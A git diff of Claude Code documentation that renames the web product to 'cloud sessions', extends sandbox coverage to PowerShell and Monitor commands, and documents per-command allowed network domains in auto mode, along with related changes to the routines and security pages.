`ANTHROPIC_AUTH_TOKEN` are named the same way. @@ -467,11 +467,11 @@ Claude Code offers several ways to work when you're not at your terminal. They d ## Related resources -* [Claude Code on the web](/docs/en/claude-code-on-the-web): run sessions in the cloud instead of your machine, configured through [cloud environments](/docs/en/cloud-environments) -* [Cross-session messaging](/docs/en/cross-session-messaging): let Claude message your sessions on other machines or on [Claude Code on the web](/docs/en/claude-code-on-the-web) +* [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web): run sessions in the cloud instead of your machine, configured through [cloud environments](/docs/en/cloud-environments) +* [Cross-session messaging](/docs/en/cross-session-messaging): let Claude message your sessions on other machines or your [cloud sessions](/docs/en/claude-code-on-the-web) * [Channels](/docs/en/channels): forward Telegram, Discord, or iMessage into a session so Claude reacts to messages while you're away * [Dispatch](/docs/en/desktop#sessions-from-dispatch): message a task from your phone and it can spawn a Desktop session to handle it * [Authentication](/docs/en/authentication): set up `/login` and manage credentials for claude.ai * [CLI reference](/docs/en/cli-reference): full list of flags and commands including `claude remote-control` * [Security](/docs/en/security): how Remote Control sessions fit into the Claude Code security model -* [Data usage](/docs/en/data-usage): what data flows through the Anthropic API during local and remote sessions +* [Data usage](/docs/en/data-usage): what data flows through the Anthropic API during local, Remote Control, and cloud sessions diff --git a/content/en/docs/claude-code/routines.md b/content/en/docs/claude-code/routines.md index a5e891c2a3..b3cbc90e3d 100644 --- a/content/en/docs/claude-code/routines.md +++ b/content/en/docs/claude-code/routines.md @@ -134,7 +134,7 @@ For a custom interval such as every two hours or the first of each month, pick t #### Schedule a one-off run -A one-off schedule fires the routine a single time at a specific timestamp. Use it to remind yourself later in the week, to open a cleanup PR after a rollout finishes, or to kick off a follow-up task when an upstream change lands. After the routine fires, it auto-disables and the web UI marks it as **Ran**. To run it again, edit the routine and set a new one-off time. +A one-off schedule fires the routine a single time at a specific timestamp. Use it to remind yourself later in the week, to open a cleanup PR after a rollout finishes, or to start a follow-up task after an upstream change ships. After the routine fires, it auto-disables and the web UI marks it as **Ran**. To run it again, edit the routine and set a new one-off time. Create a one-off run from the CLI by describing the time in natural language. Claude resolves the phrase against the current time and confirms the absolute timestamp before saving. @@ -377,18 +377,17 @@ One-off runs do not count against the daily routine cap. They draw down your reg `/schedule` returns "Unknown command"

-The CLI hides `/schedule` when one of its requirements isn't met: the command menu shows `No commands match "/schedule"` while you type, and submitting it returns `Unknown command: /schedule` in every case below except a Console API key or an Anthropic profile with feature-flag fetching enabled. The cause is usually one of the following: +The CLI hides `/schedule` when one of its requirements isn't met: the command menu shows `No commands match "/schedule"` while you type. Submitting it returns `Unknown command: /schedule`, except in the cases below that note a different answer. -* You are authenticated with a Console API key, an [Anthropic profile or federation credential](/docs/en/authentication#anthropic-profiles-and-federation-credentials), or a cloud provider such as Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry. `/schedule` requires a claude.ai subscription login. With a Console API key or a profile, submitting `/schedule` instead shows `/schedule is available with Claude for Enterprise — ask your admin about migrating from API-key access`. With a cloud-provider login, you still see `Unknown command: /schedule`. If `ANTHROPIC_API_KEY` or `ANTHROPIC_AUTH_TOKEN` is set in your shell, or `apiKeyHelper` is set in `settings.json`, remove it first, since these take precedence over a claude.ai login. A profile or federation credential takes precedence too, so switch that off as well -* You are inside a Claude Code on the web session. Manage routines from the [web UI](https://claude.ai/code/routines) instead -* Your organization's policy disables [Claude Code on the web](/docs/en/claude-code-on-the-web), which routines run on -* An Owner [turned off routines](#routines-are-disabled-by-your-organizations-policy) for your Team or Enterprise organization. Before v2.1.227, the command still appeared in this case, and claude.ai rejected the routine when Claude tried to create or run it - -Unless your organization's policy disables routines or Claude Code on the web, you can create and manage routines at [claude.ai/code/routines](https://claude.ai/code/routines) regardless of how the CLI is configured. +The cause is usually one of the following: -### `/schedule` asks you to authenticate +* You are authenticated with a Console API key, an [Anthropic profile or federation credential](/docs/en/authentication#anthropic-profiles-and-federation-credentials), or a cloud provider such as Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry. `/schedule` requires a claude.ai subscription login. With a Console API key or a profile, and feature-flag fetching enabled, submitting `/schedule` instead shows `/schedule is available with Claude for Enterprise — ask your admin about migrating from API-key access`. With a cloud-provider login, you still see `Unknown command: /schedule`. If `ANTHROPIC_API_KEY` or `ANTHROPIC_AUTH_TOKEN` is set in your shell, or `apiKeyHelper` is set in `settings.json`, remove it first, since these take precedence over a claude.ai login. A profile or federation credential takes precedence too, so switch that off as well +* You are fully signed out, with no API key or other credential. With feature-flag fetching enabled, submitting `/schedule` shows `/schedule requires a claude.ai subscription. Run /login to sign in with your claude.ai account.` Before v2.1.268, a signed-out session showed the same Claude for Enterprise message as a Console API key +* You are inside a cloud session. Manage routines from the [web UI](https://claude.ai/code/routines) instead +* Your organization's policy disables [cloud sessions](/docs/en/claude-code-on-the-web), which routines require. In this case, submitting `/schedule` answers [`Cloud sessions are disabled by your organization's policy`](/docs/en/errors#cloud-sessions-are-disabled-by-your-organizations-policy) instead. Before v2.1.268, it returned `Unknown command: /schedule` +* An Owner [turned off routines](#routines-are-disabled-by-your-organizations-policy) for your Team or Enterprise organization. Before v2.1.227, the command still appeared in this case, and claude.ai rejected the routine when Claude tried to create or run it -If `/schedule` runs but Claude responds that you need to authenticate with a claude.ai account first, the CLI has no stored claude.ai login. API accounts aren't supported for routines. Run `/login`, sign in with your claude.ai account, then run `/schedule` again. +Unless your organization's policy disables routines or cloud sessions, you can create and manage routines at [claude.ai/code/routines](https://claude.ai/code/routines) regardless of how the CLI is configured.

"Routines are disabled by your organization's policy" diff --git a/content/en/docs/claude-code/sandbox-environments.md b/content/en/docs/claude-code/sandbox-environments.md index c074e0380b..d22c9d1851 100644 --- a/content/en/docs/claude-code/sandbox-environments.md +++ b/content/en/docs/claude-code/sandbox-environments.md @@ -18,14 +18,14 @@ Claude Code can run in several kinds of isolated environments, ranging from a li The first two approaches in the table below run on the host operating system without containers. The rest place Claude Code inside a container or virtual machine. -| Approach | What is isolated | Requires Docker | Setup effort | -| :------------------------------------------------ | :-------------------------------------------------------------------------- | :-------------- | :-------------------------------------------------------------------------------------- | -| [Sandboxed Bash tool](#sandboxed-bash-tool) | Bash commands and their child processes | No | Minimal on macOS; low on Linux and WSL2 | -| [Sandbox runtime](#sandbox-runtime) | The whole Claude Code process, including file tools, MCP servers, and hooks | No | Low | -| [Dev container](#dev-containers) | Full development environment | Yes | Medium | -| [Custom container](#custom-container) | Full development environment | Yes | Medium to high | -| [Virtual machine](#virtual-machine) | Full operating system | No | High | -| [Claude Code on the web](#claude-code-on-the-web) | Full operating system, hosted by Anthropic | No | None; requires a Claude subscription, and GitHub when you launch from the web interface | +| Approach | What is isolated | Requires Docker | Setup effort | +| :------------------------------------------ | :-------------------------------------------------------------------------- | :-------------- | :----------------------------------------------------------------------------------------------------------- | +| [Sandboxed Bash tool](#sandboxed-bash-tool) | Bash, PowerShell, and Monitor commands and their child processes | No | Minimal on macOS; low on Linux and WSL2 | +| [Sandbox runtime](#sandbox-runtime) | The whole Claude Code process, including file tools, MCP servers, and hooks | No | Low | +| [Dev container](#dev-containers) | Full development environment | Yes | Medium | +| [Custom container](#custom-container) | Full development environment | Yes | Medium to high | +| [Virtual machine](#virtual-machine) | Full operating system | No | High | +| [Cloud sessions](#cloud-sessions) | Full operating system, hosted by Anthropic | No | None; requires a Claude subscription, and a connected GitHub account unless you launch with `claude --cloud` | The [sandboxed Bash tool](/docs/en/sandboxing) is built into Claude Code and restricts Bash commands. Built-in file tools, MCP servers, and hooks still run directly on your host. Every other approach in the table puts the whole Claude Code process inside the isolation boundary, so file tools, MCP servers, and hooks are restricted too. @@ -39,16 +39,16 @@ The [sandboxed Bash tool](/docs/en/sandboxing) is built into Claude Code and res Match your goal to a row below, then read the detail section that follows. -| You want to | Start with | -| :---------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Reduce permission prompts during everyday work on your own machine | The [sandboxed Bash tool](/docs/en/sandboxing), configured with `/sandbox` | -| Let Claude work unattended with `--dangerously-skip-permissions` or auto mode | The preconfigured [dev container](/docs/en/devcontainer), any container or VM, or the [sandbox runtime](#sandbox-runtime) | -| Isolate MCP servers and hooks as well as Bash, without Docker | The sandbox runtime | -| Work on an untrusted repository | A dedicated virtual machine, or [Claude Code on the web](/docs/en/claude-code-on-the-web) if you have a Claude subscription; GitHub is only required when you launch from the web interface | -| Standardize a sandboxed environment across a team | The preconfigured [dev container](/docs/en/devcontainer), copied into your repository | -| Use Claude Code from a device with no local setup | [Claude Code on the web](/docs/en/claude-code-on-the-web), which requires a Claude subscription and a connected GitHub account | -| Require isolation for every developer in your organization | [Enforce isolation across an organization](#enforce-isolation-across-an-organization) | -| Work on a native Windows host | A container or VM, or run the Bash sandbox inside WSL2 | +| You want to | Start with | +| :---------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Reduce permission prompts during everyday work on your own machine | The [sandboxed Bash tool](/docs/en/sandboxing), configured with `/sandbox` | +| Let Claude work unattended with `--dangerously-skip-permissions` or auto mode | The preconfigured [dev container](/docs/en/devcontainer), any container or VM, or the [sandbox runtime](#sandbox-runtime) | +| Isolate MCP servers and hooks as well as Bash, without Docker | The sandbox runtime | +| Work on an untrusted repository | A dedicated virtual machine, or a [cloud session](/docs/en/claude-code-on-the-web) if you have a Claude subscription; GitHub is not required when you launch with `claude --cloud` | +| Standardize a sandboxed environment across a team | The preconfigured [dev container](/docs/en/devcontainer), copied into your repository | +| Use Claude Code from a device with no local setup | A [cloud session](/docs/en/claude-code-on-the-web), which requires a Claude subscription and a connected GitHub account | +| Require isolation for every developer in your organization | [Enforce isolation across an organization](#enforce-isolation-across-an-organization) | +| Work on a native Windows host | A container or VM, or run the Bash sandbox inside WSL2 | ### How isolation relates to permission modes @@ -60,7 +60,7 @@ With no prompts to catch mistakes, the isolation boundary you choose is what pro [Auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode) replaces the prompt with a classifier that reviews actions. The classifier is a per-action control, not an isolation boundary, so an isolation boundary still adds defense in depth for unattended runs, and is not required the way it is for `--dangerously-skip-permissions`. -The [sandboxed Bash tool](#sandboxed-bash-tool) on its own constrains only Bash, so it is not sufficient for fully unattended runs in either mode. You can layer approaches: running the sandboxed Bash tool inside a container or VM gives you OS-level command restrictions on top of the outer environment boundary. For how the Bash sandbox itself interacts with permission rules and modes, see [How sandboxing relates to permissions and permission modes](/docs/en/sandboxing#how-sandboxing-relates-to-permissions-and-permission-modes). +The [sandboxed Bash tool](#sandboxed-bash-tool) on its own constrains only shell commands, so it is not sufficient for fully unattended runs in either mode. You can layer approaches: running the sandboxed Bash tool inside a container or VM gives you OS-level command restrictions on top of the outer environment boundary. For how the Bash sandbox itself interacts with permission rules and modes, see [How sandboxing relates to permissions and permission modes](/docs/en/sandboxing#how-sandboxing-relates-to-permissions-and-permission-modes). ## Sandboxed Bash tool @@ -68,7 +68,7 @@ The [sandboxed Bash tool](#sandboxed-bash-tool) on its own constrains only Bash, This option does not support native Windows. On Windows hosts, use WSL2 or one of the container or VM approaches below. -The sandboxed Bash tool is built into Claude Code. It uses operating system primitives to restrict the filesystem and network access of every Bash command Claude runs. +The sandboxed Bash tool is built into Claude Code. It uses operating system primitives to restrict the filesystem and network access of every Bash, PowerShell, or Monitor command Claude runs. Run the `/sandbox` command to open the sandbox panel and choose a mode. The [Sandboxing](/docs/en/sandboxing) guide covers the approval modes, the default boundary, and how to widen or narrow it. @@ -81,7 +81,7 @@ To put built-in tools, MCP servers, and hooks all behind one OS boundary, run th ## Sandbox runtime -The [`@anthropic-ai/sandbox-runtime`](https://github.com/anthropic-experimental/sandbox-runtime) package wraps an entire process in the same Seatbelt or bubblewrap isolation that the built-in Bash sandbox uses. Running Claude Code through the runtime constrains every tool, hook, and MCP server in the session, not only Bash. The runtime is a beta research preview, and its configuration format may change as the package evolves. +The [`@anthropic-ai/sandbox-runtime`](https://github.com/anthropic-experimental/sandbox-runtime) package wraps an entire process in the same Seatbelt or bubblewrap isolation that the built-in Bash sandbox uses. Running Claude Code through the runtime constrains every tool, hook, and MCP server in the session, not only shell commands. The runtime is a beta research preview, and its configuration format may change as the package evolves. This section covers what you configure and what the runtime enforces on its own. For deploying the runtime in Agent SDK applications, see the [secure deployment guide](/docs/en/agent-sdk/secure-deployment#sandbox-runtime). @@ -153,11 +153,11 @@ A dedicated virtual machine provides the strongest separation, with its own kern [Docker Sandboxes](https://docs.docker.com/ai/sandboxes/) provides a microVM with its own Docker daemon and workspace sync, which can run Claude Code on any host with Docker Sandboxes installed. It is a free, standalone product from Docker that does not require Docker Desktop. -## Claude Code on the web +## Cloud sessions -[Claude Code on the web](/docs/en/claude-code-on-the-web) runs each session in an isolated, Anthropic-managed virtual machine. A network proxy enforces a default allowlist, and a separate proxy holds your GitHub token outside the sandbox while issuing scoped credentials for repository access inside it. Sessions your organization routes to a [self-hosted environment](/docs/en/self-hosted-environments) run on infrastructure you provision instead, where isolation, egress control, and git credentials are your deployment's responsibility. +A [cloud session](/docs/en/claude-code-on-the-web) runs in an isolated, Anthropic-managed virtual machine. A network proxy enforces a default allowlist, and a separate proxy holds your GitHub token outside the sandbox while issuing scoped credentials for repository access inside it. Sessions your organization routes to a [self-hosted environment](/docs/en/self-hosted-environments) run on infrastructure you provision instead, where isolation, egress control, and git credentials are your deployment's responsibility. -Use this approach when you want full VM isolation without provisioning infrastructure yourself, or when you are delegating tasks from a device that does not have a local development environment. It requires a Claude subscription. When you launch a session from the web interface, you also need a connected GitHub account so the sandbox can clone your repository. When you launch from the CLI with `--cloud`, Claude Code can [bundle and upload your local repository](/docs/en/claude-code-on-the-web#send-local-repositories-without-github) instead. See [Claude Code on the web](/docs/en/claude-code-on-the-web) for plan availability and GitHub authentication options. +Use this approach when you want full VM isolation without provisioning infrastructure yourself, or when you are delegating tasks from a device that does not have a local development environment. It requires a Claude subscription. Unless you launch from the CLI, you also need a connected GitHub account so the sandbox can clone your repository. When you launch from the CLI with `--cloud`, Claude Code can [bundle and upload your local repository](/docs/en/claude-code-on-the-web#send-local-repositories-without-github) instead. See [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web) for plan availability and GitHub authentication options. ## Enforce isolation across an organization diff --git a/content/en/docs/claude-code/sandboxing.md b/content/en/docs/claude-code/sandboxing.md index 9c9226a1dd..ad3c8104fc 100644 --- a/content/en/docs/claude-code/sandboxing.md +++ b/content/en/docs/claude-code/sandboxing.md @@ -6,7 +6,7 @@ > Learn how Claude Code's sandboxed Bash tool provides filesystem and network isolation for safer, more autonomous agent execution. -The Bash sandbox lets Claude run most shell commands without stopping to ask permission. Instead of approving each command, you define which files and network domains commands can touch, and the operating system enforces that boundary for every Bash command and its child processes. +The Bash sandbox lets Claude run most shell commands without stopping to ask permission. Instead of approving each command, you define which files and network domains commands can touch, and the operating system enforces that boundary for every Bash, PowerShell, or Monitor command and its child processes. To compare other isolation approaches such as dev containers, custom containers, and virtual machines, see [Sandbox environments](/docs/en/sandbox-environments). To reduce permission prompts for tools other than Bash, see [permission modes](/docs/en/permission-modes). @@ -40,7 +40,9 @@ On macOS, there is nothing to install: sandboxing uses the built-in Seatbelt fra - Ask Claude to run a command, such as a build or a test suite. By default, commands inside the sandbox can write to the working directory, the session temp directory, and any [directories you've added](/docs/en/permissions#additional-directories-grant-file-access-not-configuration) with `--add-dir`, `/add-dir`, or `permissions.additionalDirectories`. The first time a command needs a new network domain, Claude Code prompts for approval, or in [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode) sends the request to the classifier. + Ask Claude to run a command, such as a build or a test suite. By default, commands inside the sandbox can write to the working directory, the session temp directory, and any [directories you've added](/docs/en/permissions#additional-directories-grant-file-access-not-configuration) with `--add-dir`, `/add-dir`, or `permissions.additionalDirectories`. + + The first time a command needs a new network domain, Claude Code prompts for approval; in [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode), Claude instead names the hosts a command needs [on the command itself](#per-command-allowed-domains-in-auto-mode) for the classifier to review with it. Commands that can't run sandboxed fall back to the regular permission flow. Claude Code titles their permission prompt "Bash command (unsandboxed)" instead of "Bash command", so you can tell which commands ran outside the sandbox. To widen or narrow what the sandbox allows, see [Configure sandboxing](#configure-sandboxing). @@ -137,7 +139,7 @@ Even in auto-allow mode, the following still apply: * A bare `Bash` ask rule, or the equivalent `Bash(*)` form, is skipped for commands that run sandboxed; it still applies to commands that fall back to the regular permission flow. In [plan mode](/docs/en/permission-modes#analyze-before-you-edit-with-plan-mode), the rule isn't skipped: it prompts for sandboxed commands too, including read-only ones. Before v2.1.212, the skip applied in plan mode as well - Auto-allow mode works independently of your permission mode setting, with one exception: [plan mode](/docs/en/permission-modes#analyze-before-you-edit-with-plan-mode). Even if you're not in "accept edits" mode, sandboxed Bash commands run automatically when auto-allow is enabled. This means Bash commands that modify files within the sandbox boundaries execute without prompting, even in Manual mode, where the file edit tools would prompt. + Auto-allow mode works independently of your permission mode setting, except in [plan mode](/docs/en/permission-modes#analyze-before-you-edit-with-plan-mode) and, in auto mode, for a command that carries [per-command allowed domains](#per-command-allowed-domains-in-auto-mode). Even if you're not in "accept edits" mode, sandboxed Bash commands run automatically when auto-allow is enabled. This means Bash commands that modify files within the sandbox boundaries execute without prompting, even in Manual mode, where the file edit tools would prompt. In plan mode, auto-allow doesn't widen approvals; see [plan mode](/docs/en/permission-modes#analyze-before-you-edit-with-plan-mode) for how Claude Code gates commands while you plan. Before v2.1.212, auto-allow ran sandboxed commands without a prompt in plan mode too. @@ -200,7 +202,7 @@ Path prefixes control how paths are resolved: This syntax differs from [Read and Edit permission rules](/docs/en/permissions#read-and-edit), which use `//path` for absolute and `/path` for project-relative. Sandbox filesystem paths use standard conventions: `/tmp/build` is absolute. For how Claude Code treats a trailing slash or a wildcard in these paths, see [Sandbox path prefixes](/docs/en/settings-reference#sandbox-path-prefixes). -You can also deny write or read access using `sandbox.filesystem.denyWrite` and `sandbox.filesystem.denyRead`, and re-allow specific paths within a denied region using `sandbox.filesystem.allowRead`. When read rules overlap, the more specific path wins: +You can also deny write or read access using `sandbox.filesystem.denyWrite` and `sandbox.filesystem.denyRead`, and re-allow specific paths within a denied region using `sandbox.filesystem.allowRead`. When read rules overlap, the rule with the narrower path applies: | Example rules | Result | | :------------------------------------------------------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -515,7 +517,9 @@ If `git merge` or `git checkout` fails with `unable to unlink old` on one of the Network access is controlled through a proxy server running outside the sandbox: -* **Domain restrictions**: Claude Code pre-allows no domains by default. The first time a command needs a new domain, Claude Code prompts for approval, or in [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode) sends the request to the classifier. If you choose Yes when prompted, Claude Code allows the host for the rest of the current session and doesn't prompt again for later connections to the same host. If you choose "Yes, and don't ask again", Claude Code saves a `WebFetch(domain:...)` allow rule to your [local settings](/docs/en/permissions#permission-system), so the host stays allowed in future sessions. Pre-allow domains with [`allowedDomains`](/docs/en/settings-reference#sandbox-network-alloweddomains) to avoid the prompt entirely. Claude Code also pre-allows domains from `WebFetch(domain:...)` allow rules, as described in [Permission rules](#permission-rules). +* **Domain restrictions**: Claude Code pre-allows no domains by default. The first time a command needs a new domain, Claude Code prompts for approval; in [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode), Claude instead names the hosts a command needs on the command itself, per [Per-command allowed domains](#per-command-allowed-domains-in-auto-mode). +* **Approval choices**: if you choose Yes when prompted, Claude Code allows the host for the rest of the current session and doesn't prompt again for later connections to the same host. If you choose "Yes, and don't ask again", Claude Code saves a `WebFetch(domain:...)` allow rule to your [local settings](/docs/en/permissions#permission-system), so the host stays allowed in future sessions. +* **Pre-allowed domains**: pre-allow domains with [`allowedDomains`](/docs/en/settings-reference#sandbox-network-alloweddomains) to avoid the prompt entirely. Claude Code also pre-allows domains from `WebFetch(domain:...)` allow rules, as described in [Permission rules](#permission-rules). * **Strict allowlist**: if you set [`strictAllowlist`](/docs/en/settings-reference#sandbox-network-strictallowlist) to `true` in user, managed, or CLI `--settings` settings, Claude Code denies sandboxed commands access to any host outside the allowlist instead of prompting. The allowlist is the same one the sandbox otherwise prompts against: `allowedDomains` plus domains from `WebFetch(domain:...)` allow rules, or only the managed settings entries when `allowManagedDomainsOnly` is set. Claude Code enforces this for sandboxed commands only; in-process tools such as `WebFetch` still follow their [permission rules](#permission-rules). Setting it in a repository's `.claude/settings.json` or `.claude/settings.local.json` has no effect. Requires Claude Code v2.1.219 or later. * **Managed lockdown**: if [`allowManagedDomainsOnly`](/docs/en/settings-reference#sandbox-network-allowmanageddomainsonly) is set in managed settings, non-allowed domains are blocked automatically instead of prompting, and only `allowedDomains` and `WebFetch(domain:...)` allow rules from managed settings are honored. * **Corporate proxy**: when your network requires outbound traffic to go through a corporate proxy, set `HTTPS_PROXY`, `HTTP_PROXY`, and `NO_PROXY` as [proxy configuration](/docs/en/network-config#proxy-configuration) describes, in the `env` block of your settings so that [background agents](/docs/en/network-config#set-network-variables-in-settings-not-the-shell) get them too, or in the environment you launch Claude Code from. Claude Code enforces the domain allowlist and then tunnels allowed connections through that upstream proxy. @@ -528,6 +532,18 @@ In a `WebFetch(domain:...)` rule, the sandbox honors two wildcard forms: a leadi The built-in proxy enforces the allowlist based on the requested hostname and, by default, does not terminate or inspect TLS traffic. The experimental [`network.tlsTerminate`](/docs/en/settings-reference#sandbox-network-tlsterminate) setting, available in Claude Code v2.1.199 and later, makes the built-in proxy terminate TLS itself, which [`mask` credential entries](#mask-credentials) require. See [Security limitations](#security-limitations) for the implications of the default, and [Custom proxy configuration](#custom-proxy-configuration) if your threat model requires TLS inspection. +#### Per-command allowed domains in auto mode + +In [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode) with sandboxing on, Claude names the hosts a command needs on the command itself instead of triggering a network approval for each connection. Each Bash, PowerShell, or [Monitor](/docs/en/tools-reference#monitor-tool) command that runs in the sandbox can carry a list of hosts beyond the sandbox's allowlist: a domain such as `registry.npmjs.org`, a wildcard such as `*.pythonhosted.org`, or an IP address, each with an optional `:port`. The classifier reviews the hosts together with the command. Requires Claude Code v2.1.271 or later. + +An approved list opens those hosts for that one command alone, for as long as it runs. Nothing is added to your session's allowed hosts or your settings; the next command names its own hosts. + +A command that carries hosts goes to the classifier instead of being approved by a permission rule or the sandbox's [auto-allow mode](#sandbox-modes). If an [ask rule](/docs/en/permissions#manage-permissions) forces a prompt for the command, the permission dialog in your terminal lists the hosts beside it, and approving there covers both. + +A per-command list widens only what the sandbox denies by default. [`deniedDomains`](/docs/en/settings-reference#sandbox-network-denieddomains) entries still block. When [`strictAllowlist`](/docs/en/settings-reference#sandbox-network-strictallowlist) or [`allowManagedDomainsOnly`](/docs/en/settings-reference#sandbox-network-allowmanageddomainsonly) locks the allowlist, Claude Code refuses per-command lists. + +While per-command lists apply, Claude Code refuses a connection to a host that no approved command listed, without a prompt or a classifier check. The refusal names the host in the command's result, and Claude re-runs the command with the host added. + #### IPv6 addresses in domain lists The sandbox's domain lists are `allowedDomains`, `deniedDomains`, and the `WebFetch(domain:...)` rules that feed them. To match an IPv6 address in any of them, write the literal in brackets: `"[::1]"` matches that address on every port, and `"[::1]:443"` matches it on port 443 only. Write the port as a number from 1 to 65535 with no leading zeros. The bracketed form requires Claude Code v2.1.229 or later. Before v2.1.229, when the text after an unbracketed entry's last colon was a port number, Claude Code read it as one, so `::1:443` named the address `::1` on port 443. @@ -562,7 +578,7 @@ Sandboxing, [permission rules](/docs/en/permissions), and [permission modes](/do Permission rules and sandboxing control different things: * **Permission rules** control which tools Claude Code can use and are evaluated before any tool runs. They apply to every tool: Bash, Read, Edit, WebFetch, MCP, and others, except that a deny or ask rule can't block [`EndConversation`](/docs/en/tools-reference#endconversation-tool-behavior) while any other tool remains. -* **Sandboxing** provides OS-level enforcement that restricts what Bash commands can access at the filesystem and network level. It applies only to Bash commands and their child processes. +* **Sandboxing** provides OS-level enforcement that restricts what shell commands can access at the filesystem and network level. It applies only to Bash, PowerShell, and [Monitor](/docs/en/tools-reference#monitor-tool) commands and their child processes. The two layers also differ in how they are enforced. Claude Code evaluates permission decisions before a command runs, based on the command string and, in auto mode, a separate classifier's judgment about whether the command is safe. The operating system enforces the sandbox boundary on the running process, so it holds regardless of what the model chose to run and even if an allowed command does more than its name suggests. @@ -594,7 +610,7 @@ The [claude-code repository's examples directory](https://github.com/anthropics/ | [Auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode) | Whether each tool call runs | A classifier that reviews actions | | `--dangerously-skip-permissions` | Whether each tool call runs | Nothing. [Protected path](/docs/en/permission-modes#protected-paths) checks are also skipped; the [actions no mode auto-approves](/docs/en/permission-modes#actions-no-mode-auto-approves) still apply | -The sandbox's [auto-allow mode](#sandbox-modes) is separate from [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode): auto-allow approves Bash commands because the sandbox boundary contains them, while auto mode uses a classifier to review actions. The two work independently and can be combined. To choose an isolation boundary for unattended runs, see [Sandbox environments](/docs/en/sandbox-environments#how-isolation-relates-to-permission-modes). For a table of common permission mode and sandbox pairings with the flags that start each one, see [Common setups](/docs/en/permission-modes#common-setups). +The sandbox's [auto-allow mode](#sandbox-modes) is separate from [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode): auto-allow approves Bash commands because the sandbox boundary contains them, while auto mode uses a classifier to review actions. The two work independently and can be combined, with the exceptions listed under [Sandbox modes](#sandbox-modes). To choose an isolation boundary for unattended runs, see [Sandbox environments](/docs/en/sandbox-environments#how-isolation-relates-to-permission-modes). For a table of common permission mode and sandbox pairings with the flags that start each one, see [Common setups](/docs/en/permission-modes#common-setups). ## Configure the sandbox for your organization @@ -602,7 +618,7 @@ Administrators can require sandboxing for every user, keep developers from widen ### Enforce sandboxing with managed settings -To require the sandbox for every developer, deliver the `sandbox` keys through [managed settings](/docs/en/managed-settings#delivery-mechanisms), either as a file managed by your MDM or through [server-managed settings](/docs/en/server-managed-settings) on Claude.ai. +To require the sandbox for every developer, deliver the `sandbox` keys through [managed settings](/docs/en/managed-settings#delivery-mechanisms), either as a file managed by your MDM or through [server-managed settings](/docs/en/server-managed-settings) on claude.ai. The following managed settings configuration enables the sandbox, refuses to start Claude Code if the sandbox cannot initialize, and prevents the model from retrying commands outside the sandbox: diff --git a/content/en/docs/claude-code/scheduled-tasks.md b/content/en/docs/claude-code/scheduled-tasks.md index 22f7f51638..23ccdbb88a 100644 --- a/content/en/docs/claude-code/scheduled-tasks.md +++ b/content/en/docs/claude-code/scheduled-tasks.md @@ -151,7 +151,7 @@ what scheduled tasks do I have? cancel the deploy check job ``` -Under the hood, Claude uses these tools: +These are the underlying tools Claude uses: | Tool | Purpose | | :----------- | :-------------------------------------------------------------------------------------------------------------- | diff --git a/content/en/docs/claude-code/security-guidance.md b/content/en/docs/claude-code/security-guidance.md index 66d87c5fa3..d90cf974c0 100644 --- a/content/en/docs/claude-code/security-guidance.md +++ b/content/en/docs/claude-code/security-guidance.md @@ -30,7 +30,7 @@ In a terminal Claude Code session, install from the [official Anthropic marketpl `/plugin` opens an interactive panel and is available only in the terminal CLI. If Claude replies that `/plugin` isn't available in this environment, install another way: * **Claude desktop app, local or SSH session**: open the [plugin browser](/docs/en/desktop#install-plugins) by clicking the **+** button next to the prompt, then **Plugins**, then **Add plugin** -* **Claude Code on the web or a desktop cloud session**: declare the plugin in `.claude/settings.json` as shown under [Enable in cloud sessions](#enable-in-cloud-sessions-and-shared-repositories) +* **Cloud sessions**: declare the plugin in `.claude/settings.json` as shown under [Enable in cloud sessions](#enable-in-cloud-sessions-and-shared-repositories) The terminal install prompts for a scope. Choose user scope to write the plugin to your user settings, so it loads in every new local session you start on this machine. @@ -43,7 +43,7 @@ Check the install summary. If it reports `Run /reload-plugins to activate.`, see ### Enable in cloud sessions and shared repositories -User-scoped plugins do not carry into [Claude Code on the web](/docs/en/claude-code-on-the-web), because those sessions run in the cloud rather than on your machine. To enable the plugin there, or to turn it on for everyone who clones a repository, declare it in the project's checked-in settings: +User-scoped plugins do not carry into [cloud sessions](/docs/en/claude-code-on-the-web), because those sessions don't run on your machine. To enable the plugin there, or to turn it on for everyone who clones a repository, declare it in the project's checked-in settings: ```json .claude/settings.json theme={null} { diff --git a/content/en/docs/claude-code/security.md b/content/en/docs/claude-code/security.md index cca23ab776..d97745e179 100644 --- a/content/en/docs/claude-code/security.md +++ b/content/en/docs/claude-code/security.md @@ -100,7 +100,7 @@ See [VS Code security and privacy](/docs/en/vs-code#security-and-privacy) for mo ## Cloud execution security -When using [Claude Code on the web](/docs/en/claude-code-on-the-web), additional security controls are in place. Sessions your organization routes to a [self-hosted environment](/docs/en/self-hosted-environments) run on your own infrastructure, where isolation, network egress, and git credentials are your deployment's responsibility. In Anthropic-hosted environments: +When you use [cloud sessions](/docs/en/claude-code-on-the-web), additional security controls are in place. Sessions your organization routes to a [self-hosted environment](/docs/en/self-hosted-environments) run on your own infrastructure, where isolation, network egress, and git credentials are your deployment's responsibility. In Anthropic-hosted environments: * **Isolated virtual machines**: Each cloud session runs in an isolated, Anthropic-managed VM * **Network access controls**: Network access is limited by default and can be configured to be disabled or allow only specific domains @@ -109,7 +109,7 @@ When using [Claude Code on the web](/docs/en/claude-code-on-the-web), additional * **Audit logging**: All operations in cloud sessions are logged for compliance and audit purposes * **Automatic cleanup**: Session VMs are reclaimed after a period of inactivity -For more details on cloud execution, see [Claude Code on the web](/docs/en/claude-code-on-the-web); to configure network access for cloud sessions, see [Configure cloud environments](/docs/en/cloud-environments#network-access). +For more details on cloud execution, see [Use Claude Code in the 